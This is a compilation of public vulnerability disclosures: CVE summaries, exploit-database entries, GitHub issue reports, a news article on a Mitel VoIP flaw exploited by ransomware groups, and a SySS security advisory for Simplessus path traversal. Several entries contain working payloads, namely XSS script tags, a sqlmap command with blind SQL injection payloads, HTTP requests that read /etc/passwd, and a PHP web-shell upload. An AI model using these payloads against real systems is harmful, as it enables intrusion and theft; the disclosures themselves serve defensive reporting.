SourceCodester Zoo Management System 1.0 is vulnerable to Cross Site Scripting (XSS) via public_html/register_visitor?msg=.

    # Exploit Title: Zoo Management System 1.0 - Reflected Cross-Site-Scripting (XSS)# Date: 06/22/2022# Exploit Author: Angelo Pio Amirante# Vendor Homepage: https://www.sourcecodester.com/# Software Link: https://www.sourcecodester.com/php/15344/zoo-management-system-phpoop-free-source-code.html# Version: 1.0# Tested on: Server: XAMPP on Windows 10 # CVE: CVE-2022-31897# Description:Zoo Management System 1.0 is vulnerable to reflected cross-site scripting on the sign-up page. The "msg" parameter in 'http://localhost/public_html/register_visitor?msg=' is vulnerable.# Impact:An attacker could steal cookies with a crafted URL sent to the victims.# Exploit:Visit the following page: 1) http://localhost/public_html/register_visitor?msg=<script>alert(window.navigator.userAgent)</script>2) Alert pop up is fired!# Image poc:https://ibb.co/8XKDgJX -> Registration pagehttps://ibb.co/mTTmTmy -> XSS

CVE-2022-31897: Zoo Management System 1.0 Cross Site Scripting ≈ Packet Storm

In Nagios XI through 5.8.5, an open redirect vulnerability exists in the login function that could lead to spoofing.

The following is a list of my collected CVE's

**Nagios XI**

Nagios XI is an enterprise monitoring solution, see https://www.nagios.com/products/nagios-xi/ for more information. During an pentest i've found 4 0days:

*   CVE-2022-29270 No password conformation during e-mail change leads to account takeover
*   CVE-2022-29272 Open redirect in login form
*   CVE-2022-29269 HTML injection in schedueld report mails
*   CVE-2022-29271 Permissions issue where read-only users could schedule downtimes using downtime.php

**Glory Systems, RBW-100**

The Glory RBW-100 banknote recycling system controls cash and removes the need for manual note handling. I've found two vulnerabilities in the Font Circle Controller management interface that can lead to a reverse root-shell:

*   CVE-2019-10479 - Default hardcoded credentials
*   CVE-2019-10478 - Arbitrary file upload

See a POC, combining these two vulnerabilities in action: https://youtu.be/MSKDfLpPOLw

CVE-2022-29272: GitHub - sT0wn-nl/CVEs: The following is a list of my collected CVE's

A reflected Cross Site Scripting (XSS) in wuzhicms v4.1.0 allows remote attackers to execute arbitrary web script or HTML via the imgurl parameter.

A xss vulnerability was discovered in WUZHI CMS 4.1.0

There is a reflected XSS vulnerability which allows remote attackers to inject arbitrary web script or HTML via the imgurl parameter of /index.php?m=core&f=index&\_su=wuzhicms.

POC  
ji</textarea> <img/src=1 onerror=alert(document.cookie)>

Vulnerability trigger point  
http://localhost/index.php?m=core&f=index&\_su=wuzhicms. When attacker access -system settings - basic settings, Write poc in the statcode form , then XSS vulnerability is triggered successfully.

1、choose this part and write poc to \[statcode\] form  

2、submit and view webpage

CVE-2020-19897: wuzhicms v4.1.0 statcode reflected xss vulnerability  · Issue #183 · wuzhicms/wuzhicms

File inclusion vulnerability in Minicms v1.9 allows remote attackers to execute arbitary PHP code via post-edit.php.

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CVE-2020-19896: file inclusion vulnerability · Issue #36 · bg5sbk/MiniCMS

Silverstripe silverstripe/assets through 1.10 allows XSS.

CVE-2022-29858: Security Releases

piwigo 11.5.0 is affected by a remote code execution (RCE) vulnerability in the LocalFiles Editor.

**Piwigo has a background command execution vulnerability**

Command injection vulnerability trigger point

Use admin to enter the background

Click settings to come to this page

Write in it

<?phpvar\_dump(1);}if(1){system('calc');?>

Next breakpoint single step debugging

You will find that this sentence is implemented here

**code analysis**

Text is passed in $content without filtering_ File and then pass in the function

The incoming code is spliced here. Caused code execution

CVE-2021-40553: vuln/README.md at main · Yang9999999/vuln

The So Filter Shop By module for OpenCart version 3.x suffers from a remote blind SQL injection vulnerability.

    # Exploit Title: OpenCart v3.x So Filter Shop By - Blind SQL Injection# Date: 28/06/2022# Exploit Author: Saud Alenazi# Vendor Homepage: https://www.opencart.com/# Software Link: https://codecanyon.net/item/so-filter-shop-by-responsive-opencart-module/13945633# Version: V3.X# Tested on: XAMPP, Linux# Contact: https://twitter.com/dmaral3noz* Description :So Filter Shop By Module is compatible with any Opencart allows SQL Injection via parameter 'att_value_id , manu_value_id , opt_value_id , subcate_value_id ' in /index.php?route=extension/module/so_filter_shop_by/filter_data. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.* Sqlmap command :sqlmap -u 'http://127.0.0.1/index.php?route=extension/module/so_filter_shop_by/filter_data' --data "att_value_id=saud&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70%2C72%2C75%2C74%2C73%2C71&product_id_in=70%2C72%2C75%2C74%2C73%2C71&subcate_value_id=&text_search=saud" -p "att_value_id" --method POST --level=5 --risk=3 --dbs --random-agentRequest :===========POST /index.php?route=extension/module/so_filter_shop_by/filter_data HTTP/1.1Content-Type: application/x-www-form-urlencodedCookie: OCSESSID=aaf920777d0aacdee96eb7eb50Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip,deflateContent-Length: 29Host: 127.0.0.1User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Connection: Keep-aliveatt_value_id=1&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70%2C72%2C75%2C74%2C73%2C71&product_id_in=70%2C72%2C75%2C74%2C73%2C71&subcate_value_id=&text_search=saud===========Output :Parameter: att_value_id (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause    Payload: att_value_id=-7402) OR 6808=6808 AND (4992=4992&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70,72,75,74,73,71&product_id_in=70,72,75,74,73,71&subcate_value_id=&text_search=saud    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: att_value_id=1) AND (SELECT 6365 FROM (SELECT(SLEEP(5)))qqBP) AND (7704=7704&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70,72,75,74,73,71&product_id_in=70,72,75,74,73,71&subcate_value_id=&text_search=saud

OpenCart 3.x So Filter Shop By SQL Injection

Zoo Management System version suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Zoo Management System 1.0 - Stored Cross-Site-Scripting (XSS)# Date: 05/26/2022# Exploit Author: Angelo Pio Amirante# Vendor Homepage: https://www.sourcecodester.com/# Software Link: https://www.sourcecodester.com/php/15344/zoo-management-system-phpoop-free-source-code.html# Version: 1.0# Tested on: Server: XAMPP# Description:Zoo Management System 1.0 is vulnerable to a stored cross site scripting in “Add Classification” functionality of the admin panel.# Exploit:1)Goto: http://localhost/admin/public_html/admin_login and login with the provided credentials2)Goto: http://localhost/admin/public_html/save_classification3)The “Classification Display Name” and “Classification Table Name” are both vulnerable so you can put <script>alert(“xss”)</script> in one of them4)Goto: http://localhost/admin/public_html/view_classifications5) Stored XSS payload is fired# Image Poc:https://ibb.co/FXc5zLthttps://ibb.co/CtFSQrQ

Zoo Management System 1.0 Cross Site Scripting

Researchers warn threat actors are using a novel remote code execution exploit to gain initial access to victim’s environments.

Researchers warn threat actors are using a novel remote code execution exploit to gain initial access to victim’s environments.

Ransomware groups are abusing unpatched versions of a Linux-based Mitel VoIP (Voice over Internet Protocol) application and using it as a springboard plant malware on targeted systems. The critical remote code execution (RCE) flaw, tracked as CVE-2022-29499, was first report by Crowdstrike in April as a zero-day vulnerability and is now patched.

Mitel is popularly known for providing business phone systems and unified communication as a service (UCaaS) to all forms of organizations. The Mitel focuses on VoIP technology allowing users to make phone calls using an internet connection instead of regular telephone lines.

According to Crowdstrike, the vulnerability affects the Mitel MiVoice appliances SA 100, SA 400 and Virtual SA. The MiVoice provides a simple interface to bring all communications and tools together.

****Bug Exploited to Plant Ransomware**  **

Researcher at Crowdstrike recently investigated a suspected ransomware attack. The team of researchers handled the intrusion quickly, but believe the involvement of the vulnerability (CVE-2022-29499) in the ransomware strike.

The Crowdstrike identifies the origin of malicious activity linked to an IP address associated with a Linux-based Mitel VoIP appliance. Further analysis led to the discovery of a novel remote code exploit.

“The device was taken offline and imaged for further analysis, leading to the discovery of a novel remote code execution exploit used by the threat actor to gain initial access to the environment,” Patrick Bennet wrote in a blog post.

The exploit involves two GET requests. The first one targets a “get\_url” parameter of a PHP file and the second one originates from the device itself.

“This first request was necessary because the actual vulnerable URL was restricted from receiving requests from external IP addresses,” the researcher explained.

The second request executes the command injection by performing an HTTP GET request to the attacker-controlled infrastructure and runs the stored command on the attacker’s server.

According to the researchers, the adversary uses the flaw to create an SSL-enabled reverse shell via the “mkfifo” command and “openssl\_client” to send outbound requests from the compromised network. The “mkfifo” command is used to create a special file specified by the file parameter and can be opened by multiple processes for reading or writing purposes.

Once the reverse shell was established, the attacker created a web shell named “pdf\_import.php”. The original content of the web shell was not recovered but the researchers identifies a log file that includes a POST request to the same IP address that the exploit originated from. The adversary also downloaded a tunneling tool called “Chisel” onto VoIP appliances to pivot further into the network without getting detected.

The Crowdstrike also identifies anti-forensic techniques performed by the threat actors to conceal the activity.

“Although the threat actor deleted all files from the VoIP device’s filesystem, CrowdStrike was able to recover forensic data from the device. This included the initial undocumented exploit used to compromise the device, the tools subsequently downloaded by the threat actor to the device, and even evidence of specific anti-forensic measures taken by the threat actor,” said Bennett.

Mitel released a security advisory on April 19, 2022, for MiVoice Connect versions 19.2 SP3 and earlier. While no official patch has been released yet.

****Vulnerable Mitel Devices on Shodan****

The security researcher Kevin Beaumont shared a string “http.html\_hash:-1971546278” to search for vulnerable Mitel devices on the Shodan search engine in a Twitter thread.

According to Kevin, there are approximately 21,000 publicly accessible Mitel appliances worldwide, the majority of which are located in the United States, succeeded by the United Kingdom.

****Mitel Mitigation Recommendations** **

Crowdstrike recommends that organizations tighten defense mechanisms by performing threat modeling and identifying malicious activity. The researcher also advised segregating the critical assets and perimeter devices to restrict the access control in case perimeter devices are compromised.

“Timely patching is critical to protect perimeter devices. However, when threat actors exploit an undocumented vulnerability, timely patching becomes irrelevant,” Bennett explained.

Mitel VoIP Bug Exploited in Ransomware Attacks

A vulnerability was found in Simplessus 3.7.7. It has been rated as critical. This issue affects some unknown processing. The manipulation of the argument path with the input ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd leads to path traversal. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 3.8.3 is able to address this issue. It is recommended to upgrade the affected component.

Nmap Announce Nmap Dev Full Disclosure Security Lists Internet Issues Open Source Dev

**Bugtraq mailing list archives**

_From_: adrian.vollmer () syss de  
_Date_: Thu, 16 Feb 2017 08:32:56 GMT  

\-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Advisory ID: SYSS-2017-004
Product: Simplessus Files
Manufacturer: Simplessus
Affected Version(s): 3.7.7
Tested Version(s): 3.7.7
Vulnerability Type: Path Traversal (CWE-22) 
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: January 25, 2017
Solution Date: January 25, 2017
Public Disclosure: February 16, 2017
CVE Reference: Not yet assigned
Author of Advisory: Dr. Adrian Vollmer, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Product overview:

Simplessus Files is a file sharing web application.

The manufacturer describes the product as follows (see \[1\]):

    Simplessus Files is a simple software solution to exchange files and
    documents over the internet. No more file sharing via e-mail, FTP or
    CD-ROM with Simplessus Files replace very large files online easily.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability overview:

Due to insufficient filtering of user controlled input, Simplessus Files is
vulnerable to a path traversal weakness.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

It is an obvious feature that users of the web application can download and
upload files and list directories. However, this should be restricted to
their own files and directories. Simplessus Files allows path traversal such
that any user can read and write any file that the system user which owns
the web server process has access to.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

The following request can be used to read the file /etc/passwd:


POST /?action=FS&download=1 HTTP/1.1
Host: <HOSTNAME>
Cookie: UWA\_SID=0b2jre4jk217uegjso2qmabrm1; UWA\_username=player2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 110

cmd=download&path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd


The following request can be used to upload files to arbirtray directories
in the file system (assuming www-data has write permissions):


POST /?action=FS&upload=1 HTTP/1.1
Host: <HOSTNAME>
Content-Length: 899
Content-Type: multipart/form-data; boundary=---------------------------2005325381163152094834751695
Cookie: UWA\_SID=0b2jre4jk217uegjso2qmabrm1; UWA\_username=player2
Connection: close

- -----------------------------2005325381163152094834751695
Content-Disposition: form-data; name="name"

o\_1b6c3dbioah31hb0ijs5f911cja.png
- -----------------------------2005325381163152094834751695
Content-Disposition: form-data; name="chunk"

0
- -----------------------------2005325381163152094834751695
Content-Disposition: form-data; name="chunks"

1
- -----------------------------2005325381163152094834751695
Content-Disposition: form-data; name="path"

fs/player2/TEST/../../../../../../../../../var/www/writeabledir/
- -----------------------------2005325381163152094834751695
Content-Disposition: form-data; name="fname"

ox2wdkplp3biex-syss.php
- -----------------------------2005325381163152094834751695
Content-Disposition: form-data; name="file"; filename="test"
Content-Type: image/png

<?php system($\_REQUEST\['c'\])?>
- -----------------------------2005325381163152094834751695--


The following request can be used to list all files inside any directory in
the file system:

POST /?action=FS&folder\_content=1 HTTP/1.1
Host: <HOSTNAME>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 90
Cookie: UWA\_SID=0b2jre4jk217uegjso2qmabrm1; UWA\_username=player2
Connection: close

userId=0&nodePath=fs%2Fplayer2%2FTEST/../../../../../../../../etc/&dummy=dummy


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Update to software version to 3.8.3.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2017-01-13: Vulnerability discovered
2017-01-25: Vulnerability reported
2017-01-25: Vendor confirmation
2017-02-15: Public disclosure


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

\[1\] Product website for Simplessus Files
    http://files.simplessus.com
\[2\] SySS Security Advisory SYSS-2017-004
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2017-004.txt
\[3\] SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Dr. Adrian Vollmer of SySS GmbH.

E-Mail: adrian.vollmer () syss de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Adrian\_Vollmer.asc
Key ID: 0x037C9FE7
Key Fingerprint: 70CF E88C AEE7 DB0F 5DC8 3403 0E02 7C7E 037C 9FE7

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

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**Current thread:**

*   **\[SYSS-2017-004\] Simplessus Files: Path Traversal** _adrian . vollmer (Feb 16)_

Tag

#php